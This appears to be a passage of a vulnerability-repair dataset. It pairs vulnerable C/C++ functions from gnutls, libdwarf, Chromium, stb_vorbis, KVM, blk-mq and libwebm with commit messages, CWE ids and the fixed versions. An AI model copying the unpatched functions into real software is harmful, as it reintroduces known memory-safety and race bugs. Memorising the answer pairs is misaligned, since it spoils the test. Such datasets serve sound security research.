in_uint8s(s, 2); /* skip cbCompFirstRowSize (must be 0x0000) */ in_uint16_le(s, size); /* cbCompMainBodySize */ in_uint8s(s, 2); /* skip cbScanWidth */ in_uint8s(s, 2); /* skip cbUncompressedSize */ } /* read compressed bitmap data */ if (!s_check_rem(s, size)) { rdp_protocol_error("process_bitmap_data(), consume of bitmap data from stream would overrun", &packet); } in_uint8p(s, data, size); bmpdata = (uint8 *) xmalloc(width * height * Bpp); if (bitmap_decompress(bmpdata, width, height, data, size, Bpp)) { ui_paint_bitmap(left, top, cx, cy, width, height, bmpdata); } else { logger(Protocol, Warning, "%s(), failed to decompress bitmap", __func__); } xfree(bmpdata); } /* Process TS_UPDATE_BITMAP_DATA */ void process_bitmap_updates(STREAM s) { int i; uint16 num_updates; in_uint16_le(s, num_updates); /* rectangles */ for (i = 0; i < num_updates; i++) { process_bitmap_data(s); } }
169,802
Analyze the following vulnerable code snippet, the commit message, and the CWE ID. Determine the impact category of this vulnerability. Output the fixed function only. Remember, I want response with just the fixed code only, No explanation.
Code: gnutls_session_get_data (gnutls_session_t session, void *session_data, size_t * session_data_size) { gnutls_datum_t psession; int ret; if (session->internals.resumable == RESUME_FALSE) return GNUTLS_E_INVALID_SESSION; psession.data = session_data; ret = _gnutls_session_pack (session, &psession); if (ret < 0) { gnutls_assert (); return ret; } *session_data_size = psession.size; if (psession.size > *session_data_size) { ret = GNUTLS_E_SHORT_MEMORY_BUFFER; goto error; } if (session_data != NULL) memcpy (session_data, psession.data, psession.size); ret = 0; error: _gnutls_free_datum (&psession); return ret; } Commit Message: CWE ID: CWE-119
gnutls_session_get_data (gnutls_session_t session, void *session_data, size_t * session_data_size) { gnutls_datum_t psession; int ret; if (session->internals.resumable == RESUME_FALSE) return GNUTLS_E_INVALID_SESSION; psession.data = session_data; ret = _gnutls_session_pack (session, &psession); if (ret < 0) { gnutls_assert (); return ret; } if (psession.size > *session_data_size) { ret = GNUTLS_E_SHORT_MEMORY_BUFFER; goto error; } *session_data_size = psession.size; if (session_data != NULL) memcpy (session_data, psession.data, psession.size); ret = 0; error: _gnutls_free_datum (&psession); return ret; }
164,569
Analyze the following vulnerable code snippet, the commit message, and the CWE ID. Determine the impact category of this vulnerability. Output the fixed function only. Remember, I want response with just the fixed code only, No explanation.
Code: dwarf_elf_object_access_load_section(void* obj_in, Dwarf_Half section_index, Dwarf_Small** section_data, int* error) { dwarf_elf_object_access_internals_t*obj = (dwarf_elf_object_access_internals_t*)obj_in; if (section_index == 0) { return DW_DLV_NO_ENTRY; } { Elf_Scn *scn = 0; Elf_Data *data = 0; scn = elf_getscn(obj->elf, section_index); if (scn == NULL) { *error = DW_DLE_MDE; return DW_DLV_ERROR; } /* When using libelf as a producer, section data may be stored in multiple buffers. In libdwarf however, we only use libelf as a consumer (there is a dwarf producer API, but it doesn't use libelf). Because of this, this single call to elf_getdata will retrieve the entire section in a single contiguous buffer. */ data = elf_getdata(scn, NULL); if (data == NULL) { *error = DW_DLE_MDE; return DW_DLV_ERROR; } *section_data = data->d_buf; } return DW_DLV_OK; } Commit Message: A DWARF related section marked SHT_NOBITS (elf section type) is an error in the elf object. Now detected. dwarf_elf_access.c CWE ID: CWE-476
dwarf_elf_object_access_load_section(void* obj_in, Dwarf_Half section_index, Dwarf_Small** section_data, int* error) { dwarf_elf_object_access_internals_t*obj = (dwarf_elf_object_access_internals_t*)obj_in; if (section_index == 0) { return DW_DLV_NO_ENTRY; } { Elf_Scn *scn = 0; Elf_Data *data = 0; scn = elf_getscn(obj->elf, section_index); if (scn == NULL) { *error = DW_DLE_MDE; return DW_DLV_ERROR; } /* When using libelf as a producer, section data may be stored in multiple buffers. In libdwarf however, we only use libelf as a consumer (there is a dwarf producer API, but it doesn't use libelf). Because of this, this single call to elf_getdata will retrieve the entire section in a single contiguous buffer. */ data = elf_getdata(scn, NULL); if (data == NULL) { *error = DW_DLE_MDE; return DW_DLV_ERROR; } if (!data->d_buf) { /* If NULL it means 'the section has no data' according to libelf documentation. No DWARF-related section should ever have 'no data'. Happens if a section type is SHT_NOBITS and no section libdwarf wants to look at should be SHT_NOBITS. */ *error = DW_DLE_MDE; return DW_DLV_ERROR; } *section_data = data->d_buf; } return DW_DLV_OK; }
168,866
Analyze the following vulnerable code snippet, the commit message, and the CWE ID. Determine the impact category of this vulnerability. Output the fixed function only. Remember, I want response with just the fixed code only, No explanation.
Code: void ImageLoader::DoUpdateFromElement(BypassMainWorldBehavior bypass_behavior, UpdateFromElementBehavior update_behavior, const KURL& url, ReferrerPolicy referrer_policy, UpdateType update_type) { pending_task_.reset(); std::unique_ptr<IncrementLoadEventDelayCount> load_delay_counter; load_delay_counter.swap(delay_until_do_update_from_element_); Document& document = element_->GetDocument(); if (!document.IsActive()) return; AtomicString image_source_url = element_->ImageSourceURL(); ImageResourceContent* new_image_content = nullptr; if (!url.IsNull() && !url.IsEmpty()) { ResourceLoaderOptions resource_loader_options; resource_loader_options.initiator_info.name = GetElement()->localName(); ResourceRequest resource_request(url); if (update_behavior == kUpdateForcedReload) { resource_request.SetCacheMode(mojom::FetchCacheMode::kBypassCache); resource_request.SetPreviewsState(WebURLRequest::kPreviewsNoTransform); } if (referrer_policy != kReferrerPolicyDefault) { resource_request.SetHTTPReferrer(SecurityPolicy::GenerateReferrer( referrer_policy, url, document.OutgoingReferrer())); } if (IsHTMLPictureElement(GetElement()->parentNode()) || !GetElement()->FastGetAttribute(HTMLNames::srcsetAttr).IsNull()) { resource_request.SetRequestContext( WebURLRequest::kRequestContextImageSet); } else if (IsHTMLObjectElement(GetElement())) { resource_request.SetRequestContext(WebURLRequest::kRequestContextObject); } else if (IsHTMLEmbedElement(GetElement())) { resource_request.SetRequestContext(WebURLRequest::kRequestContextEmbed); } bool page_is_being_dismissed = document.PageDismissalEventBeingDispatched() != Document::kNoDismissal; if (page_is_being_dismissed) { resource_request.SetHTTPHeaderField(HTTPNames::Cache_Control, "max-age=0"); resource_request.SetKeepalive(true); resource_request.SetRequestContext(WebURLRequest::kRequestContextPing); } FetchParameters params(resource_request, resource_loader_options); ConfigureRequest(params, bypass_behavior, *element_, document.GetClientHintsPreferences()); if (update_behavior != kUpdateForcedReload && document.GetFrame()) document.GetFrame()->MaybeAllowImagePlaceholder(params); new_image_content = ImageResourceContent::Fetch(params, document.Fetcher()); if (page_is_being_dismissed) new_image_content = nullptr; ClearFailedLoadURL(); } else { if (!image_source_url.IsNull()) { DispatchErrorEvent(); } NoImageResourceToLoad(); } ImageResourceContent* old_image_content = image_content_.Get(); if (old_image_content != new_image_content) RejectPendingDecodes(update_type); if (update_behavior == kUpdateSizeChanged && element_->GetLayoutObject() && element_->GetLayoutObject()->IsImage() && new_image_content == old_image_content) { ToLayoutImage(element_->GetLayoutObject())->IntrinsicSizeChanged(); } else { if (pending_load_event_.IsActive()) pending_load_event_.Cancel(); if (pending_error_event_.IsActive() && new_image_content) pending_error_event_.Cancel(); UpdateImageState(new_image_content); UpdateLayoutObject(); if (new_image_content) { new_image_content->AddObserver(this); } if (old_image_content) { old_image_content->RemoveObserver(this); } } if (LayoutImageResource* image_resource = GetLayoutImageResource()) image_resource->ResetAnimation(); } Commit Message: service worker: Disable interception when OBJECT/EMBED uses ImageLoader. Per the specification, service worker should not intercept requests for OBJECT/EMBED elements. R=kinuko Bug: 771933 Change-Id: Ia6da6107dc5c68aa2c2efffde14bd2c51251fbd4 Reviewed-on: https://chromium-review.googlesource.com/927303 Reviewed-by: Kinuko Yasuda <[email protected]> Commit-Queue: Matt Falkenhagen <[email protected]> Cr-Commit-Position: refs/heads/master@{#538027} CWE ID:
void ImageLoader::DoUpdateFromElement(BypassMainWorldBehavior bypass_behavior, UpdateFromElementBehavior update_behavior, const KURL& url, ReferrerPolicy referrer_policy, UpdateType update_type) { pending_task_.reset(); std::unique_ptr<IncrementLoadEventDelayCount> load_delay_counter; load_delay_counter.swap(delay_until_do_update_from_element_); Document& document = element_->GetDocument(); if (!document.IsActive()) return; AtomicString image_source_url = element_->ImageSourceURL(); ImageResourceContent* new_image_content = nullptr; if (!url.IsNull() && !url.IsEmpty()) { ResourceLoaderOptions resource_loader_options; resource_loader_options.initiator_info.name = GetElement()->localName(); ResourceRequest resource_request(url); if (update_behavior == kUpdateForcedReload) { resource_request.SetCacheMode(mojom::FetchCacheMode::kBypassCache); resource_request.SetPreviewsState(WebURLRequest::kPreviewsNoTransform); } if (referrer_policy != kReferrerPolicyDefault) { resource_request.SetHTTPReferrer(SecurityPolicy::GenerateReferrer( referrer_policy, url, document.OutgoingReferrer())); } if (IsHTMLPictureElement(GetElement()->parentNode()) || !GetElement()->FastGetAttribute(HTMLNames::srcsetAttr).IsNull()) { resource_request.SetRequestContext( WebURLRequest::kRequestContextImageSet); } else if (IsHTMLObjectElement(GetElement())) { resource_request.SetRequestContext(WebURLRequest::kRequestContextObject); } else if (IsHTMLEmbedElement(GetElement())) { resource_request.SetRequestContext(WebURLRequest::kRequestContextEmbed); } bool page_is_being_dismissed = document.PageDismissalEventBeingDispatched() != Document::kNoDismissal; if (page_is_being_dismissed) { resource_request.SetHTTPHeaderField(HTTPNames::Cache_Control, "max-age=0"); resource_request.SetKeepalive(true); resource_request.SetRequestContext(WebURLRequest::kRequestContextPing); } // Plug-ins should not load via service workers as plug-ins may have their // own origin checking logic that may get confused if service workers // respond with resources from another origin. // https://w3c.github.io/ServiceWorker/#implementer-concerns if (GetElement()->IsHTMLElement() && ToHTMLElement(GetElement())->IsPluginElement()) { resource_request.SetServiceWorkerMode( WebURLRequest::ServiceWorkerMode::kNone); } FetchParameters params(resource_request, resource_loader_options); ConfigureRequest(params, bypass_behavior, *element_, document.GetClientHintsPreferences()); if (update_behavior != kUpdateForcedReload && document.GetFrame()) document.GetFrame()->MaybeAllowImagePlaceholder(params); new_image_content = ImageResourceContent::Fetch(params, document.Fetcher()); if (page_is_being_dismissed) new_image_content = nullptr; ClearFailedLoadURL(); } else { if (!image_source_url.IsNull()) { DispatchErrorEvent(); } NoImageResourceToLoad(); } ImageResourceContent* old_image_content = image_content_.Get(); if (old_image_content != new_image_content) RejectPendingDecodes(update_type); if (update_behavior == kUpdateSizeChanged && element_->GetLayoutObject() && element_->GetLayoutObject()->IsImage() && new_image_content == old_image_content) { ToLayoutImage(element_->GetLayoutObject())->IntrinsicSizeChanged(); } else { if (pending_load_event_.IsActive()) pending_load_event_.Cancel(); if (pending_error_event_.IsActive() && new_image_content) pending_error_event_.Cancel(); UpdateImageState(new_image_content); UpdateLayoutObject(); if (new_image_content) { new_image_content->AddObserver(this); } if (old_image_content) { old_image_content->RemoveObserver(this); } } if (LayoutImageResource* image_resource = GetLayoutImageResource()) image_resource->ResetAnimation(); }
172,703
Analyze the following vulnerable code snippet, the commit message, and the CWE ID. Determine the impact category of this vulnerability. Output the fixed function only. Remember, I want response with just the fixed code only, No explanation.
Code: static int lookup1_values(int entries, int dim) { int r = (int) floor(exp((float) log((float) entries) / dim)); if ((int) floor(pow((float) r+1, dim)) <= entries) // (int) cast for MinGW warning; ++r; // floor() to avoid _ftol() when non-CRT assert(pow((float) r+1, dim) > entries); assert((int) floor(pow((float) r, dim)) <= entries); // (int),floor() as above return r; } Commit Message: Fix seven bugs discovered and fixed by ForAllSecure: CVE-2019-13217: heap buffer overflow in start_decoder() CVE-2019-13218: stack buffer overflow in compute_codewords() CVE-2019-13219: uninitialized memory in vorbis_decode_packet_rest() CVE-2019-13220: out-of-range read in draw_line() CVE-2019-13221: issue with large 1D codebooks in lookup1_values() CVE-2019-13222: unchecked NULL returned by get_window() CVE-2019-13223: division by zero in predict_point() CWE ID: CWE-20
static int lookup1_values(int entries, int dim) { int r = (int) floor(exp((float) log((float) entries) / dim)); if ((int) floor(pow((float) r+1, dim)) <= entries) // (int) cast for MinGW warning; ++r; // floor() to avoid _ftol() when non-CRT if (pow((float) r+1, dim) <= entries) return -1; if ((int) floor(pow((float) r, dim)) > entries) return -1; return r; }
169,616
Analyze the following vulnerable code snippet, the commit message, and the CWE ID. Determine the impact category of this vulnerability. Output the fixed function only. Remember, I want response with just the fixed code only, No explanation.
Code: static int em_jmp_far(struct x86_emulate_ctxt *ctxt) { int rc; unsigned short sel, old_sel; struct desc_struct old_desc, new_desc; const struct x86_emulate_ops *ops = ctxt->ops; u8 cpl = ctxt->ops->cpl(ctxt); /* Assignment of RIP may only fail in 64-bit mode */ if (ctxt->mode == X86EMUL_MODE_PROT64) ops->get_segment(ctxt, &old_sel, &old_desc, NULL, VCPU_SREG_CS); memcpy(&sel, ctxt->src.valptr + ctxt->op_bytes, 2); rc = __load_segment_descriptor(ctxt, sel, VCPU_SREG_CS, cpl, X86_TRANSFER_CALL_JMP, &new_desc); if (rc != X86EMUL_CONTINUE) return rc; rc = assign_eip_far(ctxt, ctxt->src.val, &new_desc); if (rc != X86EMUL_CONTINUE) { WARN_ON(ctxt->mode != X86EMUL_MODE_PROT64); /* assigning eip failed; restore the old cs */ ops->set_segment(ctxt, old_sel, &old_desc, 0, VCPU_SREG_CS); return rc; } return rc; } Commit Message: KVM: x86: drop error recovery in em_jmp_far and em_ret_far em_jmp_far and em_ret_far assumed that setting IP can only fail in 64 bit mode, but syzkaller proved otherwise (and SDM agrees). Code segment was restored upon failure, but it was left uninitialized outside of long mode, which could lead to a leak of host kernel stack. We could have fixed that by always saving and restoring the CS, but we take a simpler approach and just break any guest that manages to fail as the error recovery is error-prone and modern CPUs don't need emulator for this. Found by syzkaller: WARNING: CPU: 2 PID: 3668 at arch/x86/kvm/emulate.c:2217 em_ret_far+0x428/0x480 Kernel panic - not syncing: panic_on_warn set ... CPU: 2 PID: 3668 Comm: syz-executor Not tainted 4.9.0-rc4+ #49 Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS Bochs 01/01/2011 [...] Call Trace: [...] __dump_stack lib/dump_stack.c:15 [...] dump_stack+0xb3/0x118 lib/dump_stack.c:51 [...] panic+0x1b7/0x3a3 kernel/panic.c:179 [...] __warn+0x1c4/0x1e0 kernel/panic.c:542 [...] warn_slowpath_null+0x2c/0x40 kernel/panic.c:585 [...] em_ret_far+0x428/0x480 arch/x86/kvm/emulate.c:2217 [...] em_ret_far_imm+0x17/0x70 arch/x86/kvm/emulate.c:2227 [...] x86_emulate_insn+0x87a/0x3730 arch/x86/kvm/emulate.c:5294 [...] x86_emulate_instruction+0x520/0x1ba0 arch/x86/kvm/x86.c:5545 [...] emulate_instruction arch/x86/include/asm/kvm_host.h:1116 [...] complete_emulated_io arch/x86/kvm/x86.c:6870 [...] complete_emulated_mmio+0x4e9/0x710 arch/x86/kvm/x86.c:6934 [...] kvm_arch_vcpu_ioctl_run+0x3b7a/0x5a90 arch/x86/kvm/x86.c:6978 [...] kvm_vcpu_ioctl+0x61e/0xdd0 arch/x86/kvm/../../../virt/kvm/kvm_main.c:2557 [...] vfs_ioctl fs/ioctl.c:43 [...] do_vfs_ioctl+0x18c/0x1040 fs/ioctl.c:679 [...] SYSC_ioctl fs/ioctl.c:694 [...] SyS_ioctl+0x8f/0xc0 fs/ioctl.c:685 [...] entry_SYSCALL_64_fastpath+0x1f/0xc2 Reported-by: Dmitry Vyukov <[email protected]> Cc: [email protected] Fixes: d1442d85cc30 ("KVM: x86: Handle errors when RIP is set during far jumps") Signed-off-by: Radim Krčmář <[email protected]> CWE ID: CWE-200
static int em_jmp_far(struct x86_emulate_ctxt *ctxt) { int rc; unsigned short sel; struct desc_struct new_desc; u8 cpl = ctxt->ops->cpl(ctxt); memcpy(&sel, ctxt->src.valptr + ctxt->op_bytes, 2); rc = __load_segment_descriptor(ctxt, sel, VCPU_SREG_CS, cpl, X86_TRANSFER_CALL_JMP, &new_desc); if (rc != X86EMUL_CONTINUE) return rc; rc = assign_eip_far(ctxt, ctxt->src.val, &new_desc); /* Error handling is not implemented. */ if (rc != X86EMUL_CONTINUE) return X86EMUL_UNHANDLEABLE; return rc; }
166,848
Analyze the following vulnerable code snippet, the commit message, and the CWE ID. Determine the impact category of this vulnerability. Output the fixed function only. Remember, I want response with just the fixed code only, No explanation.
Code: void BiquadDSPKernel::process(const float* source, float* destination, size_t framesToProcess) { ASSERT(source && destination && biquadProcessor()); updateCoefficientsIfNecessary(true, false); m_biquad.process(source, destination, framesToProcess); } Commit Message: Initialize value since calculateFinalValues may fail to do so. Fix threading issue where updateCoefficientsIfNecessary was not always called from the audio thread. This causes the value not to be initialized. Thus, o Initialize the variable to some value, just in case. o Split updateCoefficientsIfNecessary into two functions with the code that sets the coefficients pulled out in to the new function updateCoefficients. o Simplify updateCoefficientsIfNecessary since useSmoothing was always true, and forceUpdate is not longer needed. o Add process lock to prevent the audio thread from updating the coefficients while they are being read in the main thread. The audio thread will update them the next time around. o Make getFrequencyResponse set the lock while reading the coefficients of the biquad in preparation for computing the frequency response. BUG=389219 Review URL: https://codereview.chromium.org/354213002 git-svn-id: svn://svn.chromium.org/blink/trunk@177250 bbb929c8-8fbe-4397-9dbb-9b2b20218538 CWE ID: CWE-119
void BiquadDSPKernel::process(const float* source, float* destination, size_t framesToProcess) { ASSERT(source && destination && biquadProcessor()); // The audio thread can't block on this lock; skip updating the coefficients for this block if // necessary. We'll get them the next time around. { MutexTryLocker tryLocker(m_processLock); if (tryLocker.locked()) updateCoefficientsIfNecessary(); } m_biquad.process(source, destination, framesToProcess); }
171,661
Analyze the following vulnerable code snippet, the commit message, and the CWE ID. Determine the impact category of this vulnerability. Output the fixed function only. Remember, I want response with just the fixed code only, No explanation.
Code: static void bt_tags_for_each(struct blk_mq_tags *tags, struct blk_mq_bitmap_tags *bt, unsigned int off, busy_tag_iter_fn *fn, void *data, bool reserved) { struct request *rq; int bit, i; if (!tags->rqs) return; for (i = 0; i < bt->map_nr; i++) { struct blk_align_bitmap *bm = &bt->map[i]; for (bit = find_first_bit(&bm->word, bm->depth); bit < bm->depth; bit = find_next_bit(&bm->word, bm->depth, bit + 1)) { rq = blk_mq_tag_to_rq(tags, off + bit); fn(rq, data, reserved); } off += (1 << bt->bits_per_word); } } Commit Message: blk-mq: fix race between timeout and freeing request Inside timeout handler, blk_mq_tag_to_rq() is called to retrieve the request from one tag. This way is obviously wrong because the request can be freed any time and some fiedds of the request can't be trusted, then kernel oops might be triggered[1]. Currently wrt. blk_mq_tag_to_rq(), the only special case is that the flush request can share same tag with the request cloned from, and the two requests can't be active at the same time, so this patch fixes the above issue by updating tags->rqs[tag] with the active request(either flush rq or the request cloned from) of the tag. Also blk_mq_tag_to_rq() gets much simplified with this patch. Given blk_mq_tag_to_rq() is mainly for drivers and the caller must make sure the request can't be freed, so in bt_for_each() this helper is replaced with tags->rqs[tag]. [1] kernel oops log [ 439.696220] BUG: unable to handle kernel NULL pointer dereference at 0000000000000158^M [ 439.697162] IP: [<ffffffff812d89ba>] blk_mq_tag_to_rq+0x21/0x6e^M [ 439.700653] PGD 7ef765067 PUD 7ef764067 PMD 0 ^M [ 439.700653] Oops: 0000 [#1] PREEMPT SMP DEBUG_PAGEALLOC ^M [ 439.700653] Dumping ftrace buffer:^M [ 439.700653] (ftrace buffer empty)^M [ 439.700653] Modules linked in: nbd ipv6 kvm_intel kvm serio_raw^M [ 439.700653] CPU: 6 PID: 2779 Comm: stress-ng-sigfd Not tainted 4.2.0-rc5-next-20150805+ #265^M [ 439.730500] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS Bochs 01/01/2011^M [ 439.730500] task: ffff880605308000 ti: ffff88060530c000 task.ti: ffff88060530c000^M [ 439.730500] RIP: 0010:[<ffffffff812d89ba>] [<ffffffff812d89ba>] blk_mq_tag_to_rq+0x21/0x6e^M [ 439.730500] RSP: 0018:ffff880819203da0 EFLAGS: 00010283^M [ 439.730500] RAX: ffff880811b0e000 RBX: ffff8800bb465f00 RCX: 0000000000000002^M [ 439.730500] RDX: 0000000000000000 RSI: 0000000000000202 RDI: 0000000000000000^M [ 439.730500] RBP: ffff880819203db0 R08: 0000000000000002 R09: 0000000000000000^M [ 439.730500] R10: 0000000000000000 R11: 0000000000000000 R12: 0000000000000202^M [ 439.730500] R13: ffff880814104800 R14: 0000000000000002 R15: ffff880811a2ea00^M [ 439.730500] FS: 00007f165b3f5740(0000) GS:ffff880819200000(0000) knlGS:0000000000000000^M [ 439.730500] CS: 0010 DS: 0000 ES: 0000 CR0: 000000008005003b^M [ 439.730500] CR2: 0000000000000158 CR3: 00000007ef766000 CR4: 00000000000006e0^M [ 439.730500] Stack:^M [ 439.730500] 0000000000000008 ffff8808114eed90 ffff880819203e00 ffffffff812dc104^M [ 439.755663] ffff880819203e40 ffffffff812d9f5e 0000020000000000 ffff8808114eed80^M [ 439.755663] Call Trace:^M [ 439.755663] <IRQ> ^M [ 439.755663] [<ffffffff812dc104>] bt_for_each+0x6e/0xc8^M [ 439.755663] [<ffffffff812d9f5e>] ? blk_mq_rq_timed_out+0x6a/0x6a^M [ 439.755663] [<ffffffff812d9f5e>] ? blk_mq_rq_timed_out+0x6a/0x6a^M [ 439.755663] [<ffffffff812dc1b3>] blk_mq_tag_busy_iter+0x55/0x5e^M [ 439.755663] [<ffffffff812d88b4>] ? blk_mq_bio_to_request+0x38/0x38^M [ 439.755663] [<ffffffff812d8911>] blk_mq_rq_timer+0x5d/0xd4^M [ 439.755663] [<ffffffff810a3e10>] call_timer_fn+0xf7/0x284^M [ 439.755663] [<ffffffff810a3d1e>] ? call_timer_fn+0x5/0x284^M [ 439.755663] [<ffffffff812d88b4>] ? blk_mq_bio_to_request+0x38/0x38^M [ 439.755663] [<ffffffff810a46d6>] run_timer_softirq+0x1ce/0x1f8^M [ 439.755663] [<ffffffff8104c367>] __do_softirq+0x181/0x3a4^M [ 439.755663] [<ffffffff8104c76e>] irq_exit+0x40/0x94^M [ 439.755663] [<ffffffff81031482>] smp_apic_timer_interrupt+0x33/0x3e^M [ 439.755663] [<ffffffff815559a4>] apic_timer_interrupt+0x84/0x90^M [ 439.755663] <EOI> ^M [ 439.755663] [<ffffffff81554350>] ? _raw_spin_unlock_irq+0x32/0x4a^M [ 439.755663] [<ffffffff8106a98b>] finish_task_switch+0xe0/0x163^M [ 439.755663] [<ffffffff8106a94d>] ? finish_task_switch+0xa2/0x163^M [ 439.755663] [<ffffffff81550066>] __schedule+0x469/0x6cd^M [ 439.755663] [<ffffffff8155039b>] schedule+0x82/0x9a^M [ 439.789267] [<ffffffff8119b28b>] signalfd_read+0x186/0x49a^M [ 439.790911] [<ffffffff8106d86a>] ? wake_up_q+0x47/0x47^M [ 439.790911] [<ffffffff811618c2>] __vfs_read+0x28/0x9f^M [ 439.790911] [<ffffffff8117a289>] ? __fget_light+0x4d/0x74^M [ 439.790911] [<ffffffff811620a7>] vfs_read+0x7a/0xc6^M [ 439.790911] [<ffffffff8116292b>] SyS_read+0x49/0x7f^M [ 439.790911] [<ffffffff81554c17>] entry_SYSCALL_64_fastpath+0x12/0x6f^M [ 439.790911] Code: 48 89 e5 e8 a9 b8 e7 ff 5d c3 0f 1f 44 00 00 55 89 f2 48 89 e5 41 54 41 89 f4 53 48 8b 47 60 48 8b 1c d0 48 8b 7b 30 48 8b 53 38 <48> 8b 87 58 01 00 00 48 85 c0 75 09 48 8b 97 88 0c 00 00 eb 10 ^M [ 439.790911] RIP [<ffffffff812d89ba>] blk_mq_tag_to_rq+0x21/0x6e^M [ 439.790911] RSP <ffff880819203da0>^M [ 439.790911] CR2: 0000000000000158^M [ 439.790911] ---[ end trace d40af58949325661 ]---^M Cc: <[email protected]> Signed-off-by: Ming Lei <[email protected]> Signed-off-by: Jens Axboe <[email protected]> CWE ID: CWE-362
static void bt_tags_for_each(struct blk_mq_tags *tags, struct blk_mq_bitmap_tags *bt, unsigned int off, busy_tag_iter_fn *fn, void *data, bool reserved) { struct request *rq; int bit, i; if (!tags->rqs) return; for (i = 0; i < bt->map_nr; i++) { struct blk_align_bitmap *bm = &bt->map[i]; for (bit = find_first_bit(&bm->word, bm->depth); bit < bm->depth; bit = find_next_bit(&bm->word, bm->depth, bit + 1)) { rq = tags->rqs[off + bit]; fn(rq, data, reserved); } off += (1 << bt->bits_per_word); } }
169,456
Analyze the following vulnerable code snippet, the commit message, and the CWE ID. Determine the impact category of this vulnerability. Output the fixed function only. Remember, I want response with just the fixed code only, No explanation.
Code: long Tracks::Parse() { assert(m_trackEntries == NULL); assert(m_trackEntriesEnd == NULL); const long long stop = m_start + m_size; IMkvReader* const pReader = m_pSegment->m_pReader; int count = 0; long long pos = m_start; while (pos < stop) { long long id, size; const long status = ParseElementHeader(pReader, pos, stop, id, size); if (status < 0) // error return status; if (size == 0) // weird continue; if (id == 0x2E) // TrackEntry ID ++count; pos += size; // consume payload assert(pos <= stop); } assert(pos == stop); if (count <= 0) return 0; // success m_trackEntries = new (std::nothrow) Track* [count]; if (m_trackEntries == NULL) return -1; m_trackEntriesEnd = m_trackEntries; pos = m_start; while (pos < stop) { const long long element_start = pos; long long id, payload_size; const long status = ParseElementHeader(pReader, pos, stop, id, payload_size); if (status < 0) // error return status; if (payload_size == 0) // weird continue; const long long payload_stop = pos + payload_size; assert(payload_stop <= stop); // checked in ParseElement const long long element_size = payload_stop - element_start; if (id == 0x2E) { // TrackEntry ID Track*& pTrack = *m_trackEntriesEnd; pTrack = NULL; const long status = ParseTrackEntry(pos, payload_size, element_start, element_size, pTrack); if (status) return status; if (pTrack) ++m_trackEntriesEnd; } pos = payload_stop; assert(pos <= stop); } assert(pos == stop); return 0; // success } Commit Message: external/libvpx/libwebm: Update snapshot Update libwebm snapshot. This update contains security fixes from upstream. Upstream git hash: 229f49347d19b0ca0941e072b199a242ef6c5f2b BUG=23167726 Change-Id: Id3e140e7b31ae11294724b1ecfe2e9c83b4d4207 (cherry picked from commit d0281a15b3c6bd91756e453cc9398c5ef412d99a) CWE ID: CWE-20
long Tracks::Parse() { assert(m_trackEntries == NULL); assert(m_trackEntriesEnd == NULL); const long long stop = m_start + m_size; IMkvReader* const pReader = m_pSegment->m_pReader; int count = 0; long long pos = m_start; while (pos < stop) { long long id, size; const long status = ParseElementHeader(pReader, pos, stop, id, size); if (status < 0) // error return status; if (size == 0) // weird continue; if (id == 0x2E) // TrackEntry ID ++count; pos += size; // consume payload if (pos > stop) return E_FILE_FORMAT_INVALID; } if (pos != stop) return E_FILE_FORMAT_INVALID; if (count <= 0) return 0; // success m_trackEntries = new (std::nothrow) Track*[count]; if (m_trackEntries == NULL) return -1; m_trackEntriesEnd = m_trackEntries; pos = m_start; while (pos < stop) { const long long element_start = pos; long long id, payload_size; const long status = ParseElementHeader(pReader, pos, stop, id, payload_size); if (status < 0) // error return status; if (payload_size == 0) // weird continue; const long long payload_stop = pos + payload_size; assert(payload_stop <= stop); // checked in ParseElement const long long element_size = payload_stop - element_start; if (id == 0x2E) { // TrackEntry ID Track*& pTrack = *m_trackEntriesEnd; pTrack = NULL; const long status = ParseTrackEntry(pos, payload_size, element_start, element_size, pTrack); if (status) return status; if (pTrack) ++m_trackEntriesEnd; } pos = payload_stop; if (pos > stop) return E_FILE_FORMAT_INVALID; } if (pos != stop) return E_FILE_FORMAT_INVALID; return 0; // success }
173,845
Analyze the following vulnerable code snippet, the commit message, and the CWE ID. Determine the impact category of this vulnerability. Output the fixed function only. Remember, I want response with just the fixed code only, No explanation.
Code: void CuePoint::Load(IMkvReader* pReader) { if (m_timecode >= 0) // already loaded return; assert(m_track_positions == NULL); assert(m_track_positions_count == 0); long long pos_ = -m_timecode; const long long element_start = pos_; long long stop; { long len; const long long id = ReadUInt(pReader, pos_, len); assert(id == 0x3B); // CuePoint ID if (id != 0x3B) return; pos_ += len; // consume ID const long long size = ReadUInt(pReader, pos_, len); assert(size >= 0); pos_ += len; // consume Size field stop = pos_ + size; } const long long element_size = stop - element_start; long long pos = pos_; while (pos < stop) { long len; const long long id = ReadUInt(pReader, pos, len); assert(id >= 0); // TODO assert((pos + len) <= stop); pos += len; // consume ID const long long size = ReadUInt(pReader, pos, len); assert(size >= 0); assert((pos + len) <= stop); pos += len; // consume Size field assert((pos + size) <= stop); if (id == 0x33) // CueTime ID m_timecode = UnserializeUInt(pReader, pos, size); else if (id == 0x37) // CueTrackPosition(s) ID ++m_track_positions_count; pos += size; // consume payload assert(pos <= stop); } assert(m_timecode >= 0); assert(m_track_positions_count > 0); m_track_positions = new TrackPosition[m_track_positions_count]; TrackPosition* p = m_track_positions; pos = pos_; while (pos < stop) { long len; const long long id = ReadUInt(pReader, pos, len); assert(id >= 0); // TODO assert((pos + len) <= stop); pos += len; // consume ID const long long size = ReadUInt(pReader, pos, len); assert(size >= 0); assert((pos + len) <= stop); pos += len; // consume Size field assert((pos + size) <= stop); if (id == 0x37) { // CueTrackPosition(s) ID TrackPosition& tp = *p++; tp.Parse(pReader, pos, size); } pos += size; // consume payload assert(pos <= stop); } assert(size_t(p - m_track_positions) == m_track_positions_count); m_element_start = element_start; m_element_size = element_size; } Commit Message: external/libvpx/libwebm: Update snapshot Update libwebm snapshot. This update contains security fixes from upstream. Upstream git hash: 229f49347d19b0ca0941e072b199a242ef6c5f2b BUG=23167726 Change-Id: Id3e140e7b31ae11294724b1ecfe2e9c83b4d4207 (cherry picked from commit d0281a15b3c6bd91756e453cc9398c5ef412d99a) CWE ID: CWE-20
